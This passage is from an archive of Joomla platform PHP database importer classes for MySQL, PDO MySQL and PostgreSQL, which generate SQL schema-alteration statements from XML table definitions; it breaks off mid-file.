$this->db->quoteName($tableName) . ' (';
foreach ($table->xpath('field') as $field)
{
$createTableStatement .= $this->getColumnSQL($field) . ',
';
}
$newLookup = $this->getKeyLookup($table->xpath('key'));
// Loop through each key in the new structure.
foreach ($newLookup as $key)
{
$createTableStatement .= $this->getKeySQL($key) . ', ';
}
// Remove the comma after the last key
$createTableStatement = rtrim($createTableStatement, ', ');
$createTableStatement .= ')';
return $createTableStatement;
}
/**
* Get the SQL syntax to add a column.
*
* @param string $table The table name.
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 1.7.0
*/
protected function getAddColumnSql($table, SimpleXMLElement $field)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' ADD COLUMN ' . $this->getColumnSql($field);
}
/**
* Get the SQL syntax to add a key.
*
* @param string $table The table name.
* @param array $keys An array of the fields pertaining to this key.
*
* @return string
*
* @since 1.7.0
*/
protected function getAddKeySql($table, $keys)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' ADD ' . $this->getKeySql($keys);
}
/**
* Get alters for table if there is a difference.
*
* @param SimpleXMLElement $structure The XML structure of the table.
*
* @return array
*
* @since 1.7.0
*/
protected function getAlterTableSql(SimpleXMLElement $structure)
{
$table = $this->getRealTableName($structure['name']);
$oldFields = $this->db->getTableColumns($table, false);
$oldKeys = $this->db->getTableKeys($table);
$alters = array();
// Get the fields and keys from the XML that we are aiming for.
$newFields = $structure->xpath('field');
$newKeys = $structure->xpath('key');
// Loop through each field in the new structure.
foreach ($newFields as $field)
{
$fName = (string) $field['Field'];
if (isset($oldFields[$fName]))
{
// The field exists, check it's the same.
$column = $oldFields[$fName];
// Test whether there is a change.
$change = ((string) $field['Type'] != $column->Type) ||
((string) $field['Null'] != $column->Null)
|| ((string) $field['Default'] != $column->Default) ||
((string) $field['Extra'] != $column->Extra);
if ($change)
{
$alters[] = $this->getChangeColumnSql($table, $field);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldFields[$fName]);
}
else
{
// The field is new.
$alters[] = $this->getAddColumnSql($table, $field);
}
}
// Any columns left are orphans
foreach ($oldFields as $name => $column)
{
// Delete the column.
$alters[] = $this->getDropColumnSql($table, $name);
}
// Get the lookups for the old and new keys.
$oldLookup = $this->getKeyLookup($oldKeys);
$newLookup = $this->getKeyLookup($newKeys);
// Loop through each key in the new structure.
foreach ($newLookup as $name => $keys)
{
// Check if there are keys on this field in the existing table.
if (isset($oldLookup[$name]))
{
$same = true;
$newCount = count($newLookup[$name]);
$oldCount = count($oldLookup[$name]);
// There is a key on this field in the old and new tables. Are they the
same?
if ($newCount == $oldCount)
{
// Need to loop through each key and do a fine grained check.
for ($i = 0; $i < $newCount; $i++)
{
$same = (((string) $newLookup[$name][$i]['Non_unique'] ==
$oldLookup[$name][$i]->Non_unique)
&& ((string) $newLookup[$name][$i]['Column_name']
== $oldLookup[$name][$i]->Column_name)
&& ((string) $newLookup[$name][$i]['Seq_in_index']
== $oldLookup[$name][$i]->Seq_in_index)
&& ((string) $newLookup[$name][$i]['Collation'] ==
$oldLookup[$name][$i]->Collation)
&& ((string) $newLookup[$name][$i]['Index_type']
== $oldLookup[$name][$i]->Index_type));
/*
Debug.
echo '<pre>';
echo '<br />Non_unique: '.
((string) $newLookup[$name][$i]['Non_unique'] ==
$oldLookup[$name][$i]->Non_unique ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Non_unique'].' vs
'.$oldLookup[$name][$i]->Non_unique;
echo '<br />Column_name: '.
((string) $newLookup[$name][$i]['Column_name'] ==
$oldLookup[$name][$i]->Column_name ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Column_name'].' vs
'.$oldLookup[$name][$i]->Column_name;
echo '<br />Seq_in_index: '.
((string) $newLookup[$name][$i]['Seq_in_index'] ==
$oldLookup[$name][$i]->Seq_in_index ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Seq_in_index'].' vs
'.$oldLookup[$name][$i]->Seq_in_index;
echo '<br />Collation: '.
((string) $newLookup[$name][$i]['Collation'] ==
$oldLookup[$name][$i]->Collation ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Collation'].' vs
'.$oldLookup[$name][$i]->Collation;
echo '<br />Index_type: '.
((string) $newLookup[$name][$i]['Index_type'] ==
$oldLookup[$name][$i]->Index_type ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Index_type'].' vs
'.$oldLookup[$name][$i]->Index_type;
echo '<br />Same = '.($same ? 'true' :
'false');
echo '</pre>';
*/
if (!$same)
{
// Break out of the loop. No need to check further.
break;
}
}
}
else
{
// Count is different, just drop and add.
$same = false;
}
if (!$same)
{
$alters[] = $this->getDropKeySql($table, $name);
$alters[] = $this->getAddKeySql($table, $keys);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldLookup[$name]);
}
else
{
// This is a new key.
$alters[] = $this->getAddKeySql($table, $keys);
}
}
// Any keys left are orphans.
foreach ($oldLookup as $name => $keys)
{
if (strtoupper($name) == 'PRIMARY')
{
$alters[] = $this->getDropPrimaryKeySql($table);
}
else
{
$alters[] = $this->getDropKeySql($table, $name);
}
}
return $alters;
}
/**
* Get the syntax to alter a column.
*
* @param string $table The name of the database table to
alter.
* @param SimpleXMLElement $field The XML definition for the field.
*
* @return string
*
* @since 1.7.0
*/
protected function getChangeColumnSql($table, SimpleXMLElement $field)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' CHANGE COLUMN ' . $this->db->quoteName((string)
$field['Field']) . ' '
. $this->getColumnSql($field);
}
/**
* Get the SQL syntax for a single column that would be included in a
table create or alter statement.
*
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 1.7.0
*/
protected function getColumnSql(SimpleXMLElement $field)
{
// TODO Incorporate into parent class and use $this.
$blobs = array('text', 'smalltext',
'mediumtext', 'largetext');
$fName = (string) $field['Field'];
$fType = (string) $field['Type'];
$fNull = (string) $field['Null'];
$fDefault = isset($field['Default']) ? (string)
$field['Default'] : null;
$fExtra = (string) $field['Extra'];
$query = $this->db->quoteName($fName) . ' ' . $fType;
if ($fNull == 'NO')
{
if (in_array($fType, $blobs) || $fDefault === null)
{
$query .= ' NOT NULL';
}
else
{
// TODO Don't quote numeric values.
$query .= ' NOT NULL DEFAULT ' .
$this->db->quote($fDefault);
}
}
else
{
if ($fDefault === null)
{
$query .= ' DEFAULT NULL';
}
else
{
// TODO Don't quote numeric values.
$query .= ' DEFAULT ' . $this->db->quote($fDefault);
}
}
if ($fExtra)
{
$query .= ' ' . strtoupper($fExtra);
}
return $query;
}
/**
* Get the SQL syntax to drop a key.
*
* @param string $table The table name.
* @param string $name The name of the key to drop.
*
* @return string
*
* @since 1.7.0
*/
protected function getDropKeySql($table, $name)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP KEY ' . $this->db->quoteName($name);
}
/**
* Get the SQL syntax to drop a key.
*
* @param string $table The table name.
*
* @return string
*
* @since 1.7.0
*/
protected function getDropPrimaryKeySql($table)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP PRIMARY KEY';
}
/**
* Get the details list of keys for a table.
*
* @param array $keys An array of objects that comprise the keys for
the table.
*
* @return array The lookup array. array({key name} => array(object,
...))
*
* @since 1.7.0
* @throws Exception
*/
protected function getKeyLookup($keys)
{
// First pass, create a lookup of the keys.
$lookup = array();
foreach ($keys as $key)
{
if ($key instanceof SimpleXMLElement)
{
$kName = (string) $key['Key_name'];
}
else
{
$kName = $key->Key_name;
}
if (empty($lookup[$kName]))
{
$lookup[$kName] = array();
}
$lookup[$kName][] = $key;
}
return $lookup;
}
/**
* Get the SQL syntax for a key.
*
* @param array $columns An array of SimpleXMLElement objects
comprising the key.
*
* @return string
*
* @since 1.7.0
*/
protected function getKeySql($columns)
{
// TODO Error checking on array and element types.
$kNonUnique = (string) $columns[0]['Non_unique'];
$kName = (string) $columns[0]['Key_name'];
$kColumn = (string) $columns[0]['Column_name'];
$prefix = '';
if ($kName == 'PRIMARY')
{
$prefix = 'PRIMARY ';
}
elseif ($kNonUnique == 0)
{
$prefix = 'UNIQUE ';
}
$nColumns = count($columns);
$kColumns = array();
if ($nColumns == 1)
{
$kColumns[] = $this->db->quoteName($kColumn);
}
else
{
foreach ($columns as $column)
{
$kColumns[] = (string) $column['Column_name'];
}
}
$query = $prefix . 'KEY ' . ($kName != 'PRIMARY' ?
$this->db->quoteName($kName) : '') . ' (' .
implode(',', $kColumns) . ')';
return $query;
}
}
database/importer/pdomysql.php000064400000026012151171674070012544
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL import driver for the PDO based MySQL database driver.
*
* @package Joomla.Platform
* @subpackage Database
* @since 3.4
*/
class JDatabaseImporterPdomysql extends JDatabaseImporter
{
/**
* Get the SQL syntax to add a column.
*
* @param string $table The table name.
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 3.4
*/
protected function getAddColumnSql($table, SimpleXMLElement $field)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' ADD COLUMN ' . $this->getColumnSql($field);
return $sql;
}
/**
* Get the SQL syntax to add a key.
*
* @param string $table The table name.
* @param array $keys An array of the fields pertaining to this key.
*
* @return string
*
* @since 3.4
*/
protected function getAddKeySql($table, $keys)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' ADD ' . $this->getKeySql($keys);
return $sql;
}
/**
* Get alters for table if there is a difference.
*
* @param SimpleXMLElement $structure The XML structure of the table.
*
* @return array
*
* @since 3.4
*/
protected function getAlterTableSql(SimpleXMLElement $structure)
{
// Initialise variables.
$table = $this->getRealTableName($structure['name']);
$oldFields = $this->db->getTableColumns($table);
$oldKeys = $this->db->getTableKeys($table);
$alters = array();
// Get the fields and keys from the XML that we are aiming for.
$newFields = $structure->xpath('field');
$newKeys = $structure->xpath('key');
// Loop through each field in the new structure.
foreach ($newFields as $field)
{
$fName = (string) $field['Field'];
if (isset($oldFields[$fName]))
{
// The field exists, check it's the same.
$column = $oldFields[$fName];
// Test whether there is a change.
$change = ((string) $field['Type'] != $column->Type) ||
((string) $field['Null'] != $column->Null)
|| ((string) $field['Default'] != $column->Default) ||
((string) $field['Extra'] != $column->Extra);
if ($change)
{
$alters[] = $this->getChangeColumnSql($table, $field);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldFields[$fName]);
}
else
{
// The field is new.
$alters[] = $this->getAddColumnSql($table, $field);
}
}
// Any columns left are orphans
foreach ($oldFields as $name => $column)
{
// Delete the column.
$alters[] = $this->getDropColumnSql($table, $name);
}
// Get the lookups for the old and new keys.
$oldLookup = $this->getKeyLookup($oldKeys);
$newLookup = $this->getKeyLookup($newKeys);
// Loop through each key in the new structure.
foreach ($newLookup as $name => $keys)
{
// Check if there are keys on this field in the existing table.
if (isset($oldLookup[$name]))
{
$same = true;
$newCount = count($newLookup[$name]);
$oldCount = count($oldLookup[$name]);
// There is a key on this field in the old and new tables. Are they the
same?
if ($newCount == $oldCount)
{
// Need to loop through each key and do a fine grained check.
for ($i = 0; $i < $newCount; $i++)
{
$same = (((string) $newLookup[$name][$i]['Non_unique'] ==
$oldLookup[$name][$i]->Non_unique)
&& ((string) $newLookup[$name][$i]['Column_name']
== $oldLookup[$name][$i]->Column_name)
&& ((string) $newLookup[$name][$i]['Seq_in_index']
== $oldLookup[$name][$i]->Seq_in_index)
&& ((string) $newLookup[$name][$i]['Collation'] ==
$oldLookup[$name][$i]->Collation)
&& ((string) $newLookup[$name][$i]['Index_type']
== $oldLookup[$name][$i]->Index_type));
/*
Debug.
echo '<pre>';
echo '<br />Non_unique: '.
((string) $newLookup[$name][$i]['Non_unique'] ==
$oldLookup[$name][$i]->Non_unique ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Non_unique'].' vs
'.$oldLookup[$name][$i]->Non_unique;
echo '<br />Column_name: '.
((string) $newLookup[$name][$i]['Column_name'] ==
$oldLookup[$name][$i]->Column_name ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Column_name'].' vs
'.$oldLookup[$name][$i]->Column_name;
echo '<br />Seq_in_index: '.
((string) $newLookup[$name][$i]['Seq_in_index'] ==
$oldLookup[$name][$i]->Seq_in_index ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Seq_in_index'].' vs
'.$oldLookup[$name][$i]->Seq_in_index;
echo '<br />Collation: '.
((string) $newLookup[$name][$i]['Collation'] ==
$oldLookup[$name][$i]->Collation ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Collation'].' vs
'.$oldLookup[$name][$i]->Collation;
echo '<br />Index_type: '.
((string) $newLookup[$name][$i]['Index_type'] ==
$oldLookup[$name][$i]->Index_type ? 'Pass' :
'Fail').' '.
(string) $newLookup[$name][$i]['Index_type'].' vs
'.$oldLookup[$name][$i]->Index_type;
echo '<br />Same = '.($same ? 'true' :
'false');
echo '</pre>';
*/
if (!$same)
{
// Break out of the loop. No need to check further.
break;
}
}
}
else
{
// Count is different, just drop and add.
$same = false;
}
if (!$same)
{
$alters[] = $this->getDropKeySql($table, $name);
$alters[] = $this->getAddKeySql($table, $keys);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldLookup[$name]);
}
else
{
// This is a new key.
$alters[] = $this->getAddKeySql($table, $keys);
}
}
// Any keys left are orphans.
foreach ($oldLookup as $name => $keys)
{
if (strtoupper($name) == 'PRIMARY')
{
$alters[] = $this->getDropPrimaryKeySql($table);
}
else
{
$alters[] = $this->getDropKeySql($table, $name);
}
}
return $alters;
}
/**
* Get the syntax to alter a column.
*
* @param string $table The name of the database table to
alter.
* @param SimpleXMLElement $field The XML definition for the field.
*
* @return string
*
* @since 3.4
*/
protected function getChangeColumnSql($table, SimpleXMLElement $field)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' CHANGE COLUMN ' . $this->db->quoteName((string)
$field['Field']) . ' '
. $this->getColumnSql($field);
return $sql;
}
/**
* Get the SQL syntax for a single column that would be included in a
table create or alter statement.
*
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 3.4
*/
protected function getColumnSql(SimpleXMLElement $field)
{
// Initialise variables.
// TODO Incorporate into parent class and use $this.
$blobs = array('text', 'smalltext',
'mediumtext', 'largetext');
$fName = (string) $field['Field'];
$fType = (string) $field['Type'];
$fNull = (string) $field['Null'];
$fDefault = isset($field['Default']) ? (string)
$field['Default'] : null;
$fExtra = (string) $field['Extra'];
$sql = $this->db->quoteName($fName) . ' ' . $fType;
if ($fNull == 'NO')
{
if (in_array($fType, $blobs) || $fDefault === null)
{
$sql .= ' NOT NULL';
}
else
{
// TODO Don't quote numeric values.
$sql .= ' NOT NULL DEFAULT ' .
$this->db->quote($fDefault);
}
}
else
{
if ($fDefault === null)
{
$sql .= ' DEFAULT NULL';
}
else
{
// TODO Don't quote numeric values.
$sql .= ' DEFAULT ' . $this->db->quote($fDefault);
}
}
if ($fExtra)
{
$sql .= ' ' . strtoupper($fExtra);
}
return $sql;
}
/**
* Get the SQL syntax to drop a column.
*
* @param string $table The table name.
* @param string $name The name of the field to drop.
*
* @return string
*
* @since 3.4
*/
protected function getDropColumnSql($table, $name)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP COLUMN ' . $this->db->quoteName($name);
return $sql;
}
/**
* Get the SQL syntax to drop a key.
*
* @param string $table The table name.
* @param string $name The name of the key to drop.
*
* @return string
*
* @since 3.4
*/
protected function getDropKeySql($table, $name)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP KEY ' . $this->db->quoteName($name);
return $sql;
}
/**
* Get the SQL syntax to drop a key.
*
* @param string $table The table name.
*
* @return string
*
* @since 3.4
*/
protected function getDropPrimaryKeySql($table)
{
$sql = 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP PRIMARY KEY';
return $sql;
}
/**
* Get the details list of keys for a table.
*
* @param array $keys An array of objects that comprise the keys for
the table.
*
* @return array The lookup array. array({key name} => array(object,
...))
*
* @since 3.4
* @throws Exception
*/
protected function getKeyLookup($keys)
{
// First pass, create a lookup of the keys.
$lookup = array();
foreach ($keys as $key)
{
if ($key instanceof SimpleXMLElement)
{
$kName = (string) $key['Key_name'];
}
else
{
$kName = $key->Key_name;
}
if (empty($lookup[$kName]))
{
$lookup[$kName] = array();
}
$lookup[$kName][] = $key;
}
return $lookup;
}
/**
* Get the SQL syntax for a key.
*
* @param array $columns An array of SimpleXMLElement objects
comprising the key.
*
* @return string
*
* @since 3.4
*/
protected function getKeySql($columns)
{
// TODO Error checking on array and element types.
$kNonUnique = (string) $columns[0]['Non_unique'];
$kName = (string) $columns[0]['Key_name'];
$kColumn = (string) $columns[0]['Column_name'];
$prefix = '';
if ($kName == 'PRIMARY')
{
$prefix = 'PRIMARY ';
}
elseif ($kNonUnique == 0)
{
$prefix = 'UNIQUE ';
}
$nColumns = count($columns);
$kColumns = array();
if ($nColumns == 1)
{
$kColumns[] = $this->db->quoteName($kColumn);
}
else
{
foreach ($columns as $column)
{
$kColumns[] = (string) $column['Column_name'];
}
}
$sql = $prefix . 'KEY ' . ($kName != 'PRIMARY' ?
$this->db->quoteName($kName) : '') . ' (' .
implode(',', $kColumns) . ')';
return $sql;
}
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporterPdomysql Method supports chaining.
*
* @since 3.4
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPdomysql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
database/importer/pgsql.php000064400000001746151171674070012031
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PDO PostgreSQL Database Importer.
*
* @since 3.9.0
*/
class JDatabaseImporterPgsql extends JDatabaseImporterPostgresql
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporterPgsql Method supports chaining.
*
* @since 3.9.0
* @throws \Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPgsql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
database/importer/postgresql.php000064400000034470151171674070013106
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL import driver.
*
* @since 3.0.0
* @deprecated 4.0 Use PDO PostgreSQL instead
*/
class JDatabaseImporterPostgresql extends JDatabaseImporter
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporterPostgresql Method supports chaining.
*
* @since 3.0.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPostgresql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
/**
* Get the SQL syntax to add a column.
*
* @param string $table The table name.
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 3.0.0
*/
protected function getAddColumnSql($table, SimpleXMLElement $field)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' ADD COLUMN ' . $this->getColumnSql($field);
}
/**
* Get the SQL syntax to add an index.
*
* @param SimpleXMLElement $field The XML index definition.
*
* @return string
*
* @since 3.0.0
*/
protected function getAddIndexSql(SimpleXMLElement $field)
{
return (string) $field['Query'];
}
/**
* Get alters for table if there is a difference.
*
* @param SimpleXMLElement $structure The XML structure of the table.
*
* @return array
*
* @since 3.0.0
*/
protected function getAlterTableSql(SimpleXMLElement $structure)
{
$table = $this->getRealTableName($structure['name']);
$oldFields = $this->db->getTableColumns($table);
$oldKeys = $this->db->getTableKeys($table);
$oldSequence = $this->db->getTableSequences($table);
$alters = array();
// Get the fields and keys from the XML that we are aiming for.
$newFields = $structure->xpath('field');
$newKeys = $structure->xpath('key');
$newSequence = $structure->xpath('sequence');
/* Sequence section */
$oldSeq = $this->getSeqLookup($oldSequence);
$newSequenceLook = $this->getSeqLookup($newSequence);
foreach ($newSequenceLook as $kSeqName => $vSeq)
{
if (isset($oldSeq[$kSeqName]))
{
// The field exists, check it's the same.
$column = $oldSeq[$kSeqName][0];
/* For older database version that doesn't support these fields
use default values */
if (version_compare($this->db->getVersion(), '9.1.0')
< 0)
{
$column->Min_Value = '1';
$column->Max_Value = '9223372036854775807';
$column->Increment = '1';
$column->Cycle_option = 'NO';
$column->Start_Value = '1';
}
// Test whether there is a change.
$change = ((string) $vSeq[0]['Type'] != $column->Type) ||
((string) $vSeq[0]['Start_Value'] != $column->Start_Value)
|| ((string) $vSeq[0]['Min_Value'] != $column->Min_Value)
|| ((string) $vSeq[0]['Max_Value'] != $column->Max_Value)
|| ((string) $vSeq[0]['Increment'] != $column->Increment)
|| ((string) $vSeq[0]['Cycle_option'] !=
$column->Cycle_option)
|| ((string) $vSeq[0]['Table'] != $column->Table) ||
((string) $vSeq[0]['Column'] != $column->Column)
|| ((string) $vSeq[0]['Schema'] != $column->Schema) ||
((string) $vSeq[0]['Name'] != $column->Name);
if ($change)
{
$alters[] = $this->getChangeSequenceSql($kSeqName, $vSeq);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldSeq[$kSeqName]);
}
else
{
// The sequence is new
$alters[] =
$this->getAddSequenceSql($newSequenceLook[$kSeqName][0]);
}
}
// Any sequences left are orphans
foreach ($oldSeq as $name => $column)
{
// Delete the sequence.
$alters[] = $this->getDropSequenceSql($name);
}
/* Field section */
// Loop through each field in the new structure.
foreach ($newFields as $field)
{
$fName = (string) $field['Field'];
if (isset($oldFields[$fName]))
{
// The field exists, check it's the same.
$column = $oldFields[$fName];
// Test whether there is a change.
$change = ((string) $field['Type'] != $column->Type) ||
((string) $field['Null'] != $column->Null)
|| ((string) $field['Default'] != $column->Default);
if ($change)
{
$alters[] = $this->getChangeColumnSql($table, $field);
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldFields[$fName]);
}
else
{
// The field is new.
$alters[] = $this->getAddColumnSql($table, $field);
}
}
// Any columns left are orphans
foreach ($oldFields as $name => $column)
{
// Delete the column.
$alters[] = $this->getDropColumnSql($table, $name);
}
/* Index section */
// Get the lookups for the old and new keys
$oldLookup = $this->getIdxLookup($oldKeys);
$newLookup = $this->getIdxLookup($newKeys);
// Loop through each key in the new structure.
foreach ($newLookup as $name => $keys)
{
// Check if there are keys on this field in the existing table.
if (isset($oldLookup[$name]))
{
$same = true;
$newCount = count($newLookup[$name]);
$oldCount = count($oldLookup[$name]);
// There is a key on this field in the old and new tables. Are they the
same?
if ($newCount == $oldCount)
{
for ($i = 0; $i < $newCount; $i++)
{
// Check only query field -> different query means different index
$same = ((string) $newLookup[$name][$i]['Query'] ==
$oldLookup[$name][$i]->Query);
if (!$same)
{
// Break out of the loop. No need to check further.
break;
}
}
}
else
{
// Count is different, just drop and add.
$same = false;
}
if (!$same)
{
$alters[] = $this->getDropIndexSql($name);
$alters[] = (string) $newLookup[$name][0]['Query'];
}
// Unset this field so that what we have left are fields that need to
be removed.
unset($oldLookup[$name]);
}
else
{
// This is a new key.
$alters[] = (string) $newLookup[$name][0]['Query'];
}
}
// Any keys left are orphans.
foreach ($oldLookup as $name => $keys)
{
if ($oldLookup[$name][0]->is_primary == 'TRUE')
{
$alters[] = $this->getDropPrimaryKeySql($table,
$oldLookup[$name][0]->Index);
}
else
{
$alters[] = $this->getDropIndexSql($name);
}
}
return $alters;
}
/**
* Get the SQL syntax to drop a sequence.
*
* @param string $name The name of the sequence to drop.
*
* @return string
*
* @since 3.0.0
*/
protected function getDropSequenceSql($name)
{
return 'DROP SEQUENCE ' . $this->db->quoteName($name);
}
/**
* Get the syntax to add a sequence.
*
* @param SimpleXMLElement $field The XML definition for the sequence.
*
* @return string
*
* @since 3.0.0
*/
protected function getAddSequenceSql($field)
{
/* For older database version that doesn't support these fields use
default values */
if (version_compare($this->db->getVersion(), '9.1.0')
< 0)
{
$field['Min_Value'] = '1';
$field['Max_Value'] = '9223372036854775807';
$field['Increment'] = '1';
$field['Cycle_option'] = 'NO';
$field['Start_Value'] = '1';
}
return 'CREATE SEQUENCE ' . (string) $field['Name'] .
' INCREMENT BY ' . (string) $field['Increment'] .
' MINVALUE ' . $field['Min_Value'] .
' MAXVALUE ' . (string) $field['Max_Value'] . '
START ' . (string) $field['Start_Value'] .
(((string) $field['Cycle_option'] == 'NO') ? '
NO' : '') . ' CYCLE' .
' OWNED BY ' . $this->db->quoteName((string)
$field['Schema'] . '.' . (string)
$field['Table'] . '.' . (string)
$field['Column']);
}
/**
* Get the syntax to alter a sequence.
*
* @param SimpleXMLElement $field The XML definition for the sequence.
*
* @return string
*
* @since 3.0.0
*/
protected function getChangeSequenceSql($field)
{
/* For older database version that doesn't support these fields use
default values */
if (version_compare($this->db->getVersion(), '9.1.0')
< 0)
{
$field['Min_Value'] = '1';
$field['Max_Value'] = '9223372036854775807';
$field['Increment'] = '1';
$field['Cycle_option'] = 'NO';
$field['Start_Value'] = '1';
}
return 'ALTER SEQUENCE ' . (string) $field['Name'] .
' INCREMENT BY ' . (string) $field['Increment'] .
' MINVALUE ' . (string) $field['Min_Value'] .
' MAXVALUE ' . (string) $field['Max_Value'] . '
START ' . (string) $field['Start_Value'] .
' OWNED BY ' . $this->db->quoteName((string)
$field['Schema'] . '.' . (string)
$field['Table'] . '.' . (string)
$field['Column']);
}
/**
* Get the syntax to alter a column.
*
* @param string $table The name of the database table to
alter.
* @param SimpleXMLElement $field The XML definition for the field.
*
* @return string
*
* @since 3.0.0
*/
protected function getChangeColumnSql($table, SimpleXMLElement $field)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' ALTER COLUMN ' . $this->db->quoteName((string)
$field['Field']) . ' '
. $this->getAlterColumnSql($table, $field);
}
/**
* Get the SQL syntax for a single column that would be included in a
table create statement.
*
* @param string $table The name of the database table to
alter.
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 3.0.0
*/
protected function getAlterColumnSql($table, $field)
{
// TODO Incorporate into parent class and use $this.
$blobs = array('text', 'smalltext',
'mediumtext', 'largetext');
$fName = (string) $field['Field'];
$fType = (string) $field['Type'];
$fNull = (string) $field['Null'];
$fDefault = (isset($field['Default']) &&
$field['Default'] != 'NULL') ?
preg_match('/^[0-9]$/', $field['Default']) ?
$field['Default'] : $this->db->quote((string)
$field['Default'])
: null;
$query = ' TYPE ' . $fType;
if ($fNull == 'NO')
{
if (in_array($fType, $blobs) || $fDefault === null)
{
$query .= ",\nALTER COLUMN " .
$this->db->quoteName($fName) . ' SET NOT NULL' .
",\nALTER COLUMN " . $this->db->quoteName($fName) .
' DROP DEFAULT';
}
else
{
$query .= ",\nALTER COLUMN " .
$this->db->quoteName($fName) . ' SET NOT NULL' .
",\nALTER COLUMN " . $this->db->quoteName($fName) .
' SET DEFAULT ' . $fDefault;
}
}
else
{
if ($fDefault !== null)
{
$query .= ",\nALTER COLUMN " .
$this->db->quoteName($fName) . ' DROP NOT NULL' .
",\nALTER COLUMN " . $this->db->quoteName($fName) .
' SET DEFAULT ' . $fDefault;
}
}
/* sequence was created in other function, here is associated a default
value but not yet owner */
if (strpos($fDefault, 'nextval') !== false)
{
$query .= ";\nALTER SEQUENCE " .
$this->db->quoteName($table . '_' . $fName .
'_seq') . ' OWNED BY ' .
$this->db->quoteName($table . '.' . $fName);
}
return $query;
}
/**
* Get the SQL syntax for a single column that would be included in a
table create statement.
*
* @param SimpleXMLElement $field The XML field definition.
*
* @return string
*
* @since 3.0.0
*/
protected function getColumnSql(SimpleXMLElement $field)
{
// TODO Incorporate into parent class and use $this.
$blobs = array('text', 'smalltext',
'mediumtext', 'largetext');
$fName = (string) $field['Field'];
$fType = (string) $field['Type'];
$fNull = (string) $field['Null'];
$fDefault = (isset($field['Default']) &&
$field['Default'] != 'NULL') ?
preg_match('/^[0-9]$/', $field['Default']) ?
$field['Default'] : $this->db->quote((string)
$field['Default'])
: null;
/* nextval() as default value means that type field is serial */
if (strpos($fDefault, 'nextval') !== false)
{
$query = $this->db->quoteName($fName) . ' SERIAL';
}
else
{
$query = $this->db->quoteName($fName) . ' ' . $fType;
if ($fNull == 'NO')
{
if (in_array($fType, $blobs) || $fDefault === null)
{
$query .= ' NOT NULL';
}
else
{
$query .= ' NOT NULL DEFAULT ' . $fDefault;
}
}
else
{
if ($fDefault !== null)
{
$query .= ' DEFAULT ' . $fDefault;
}
}
}
return $query;
}
/**
* Get the SQL syntax to drop an index.
*
* @param string $name The name of the key to drop.
*
* @return string
*
* @since 3.0.0
*/
protected function getDropIndexSql($name)
{
return 'DROP INDEX ' . $this->db->quoteName($name);
}
/**
* Get the SQL syntax to drop a key.
*
* @param string $table The table name.
